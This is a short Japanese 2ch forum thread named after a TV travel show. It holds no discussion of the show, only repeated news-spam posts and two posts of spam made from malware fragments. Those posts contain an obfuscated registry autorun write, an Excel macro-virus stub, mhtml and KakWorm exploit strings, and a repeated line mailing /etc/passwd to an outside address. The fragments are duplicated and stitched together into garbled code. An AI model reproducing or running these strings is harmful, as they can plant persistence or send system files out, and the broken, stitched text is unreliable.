ぶらり途中下車の旅 「東武野田線」-2-
1 ：名無しさんにズームイン！：
ss
|
|
|
2 ：名無しさんにズームイン！：2006/10/21(土) 10:07:15.10 ID:pyw5UfVT
大ニュース
国益損失の大事件 発生
【経済】日本が開発に参加しているサハリン１のガス６００万トン、全量を中国が獲得― 日本の資源戦略に大きく影響
http://news19.2ch.net/test/read.cgi/newsplus/1161371338/
石油・ガスの全部が中国と契約
国益損失の大事件 発生
【経済】日本が開発に参加しているサハリン１のガス６００万トン、全量を中国が獲得― 日本の資源戦略に大きく影響
http://news19.2ch.net/test/read.cgi/newsplus/1161371338/
石油・ガスの全部が中国と契約
3 ：名無しさんにズームイン！：2006/10/21(土) 10:07:48.30 ID:oyZvAdQh
歩きすぎだろ
4 ：ひみつの検疫さん：2024/08/01(木) 23:03:09 ID:MarkedRes
汚染を除去しました。
5 ：名無しさんにズームイン！：2006/10/21(土) 10:08:42.86 ID:ryvV2ail
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
6 ：名無しさんにズームイン！：2006/10/21(土) 10:08:53.20 ID:ryvV2ail
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
？？
kak.hta';ken=wd+'START
cat /etc/passwd | mail [email protected]
whichfile = p + w * 10
End Sub
？？
kak.hta';ken=wd+'START
cat /etc/passwd | mail [email protected]
てす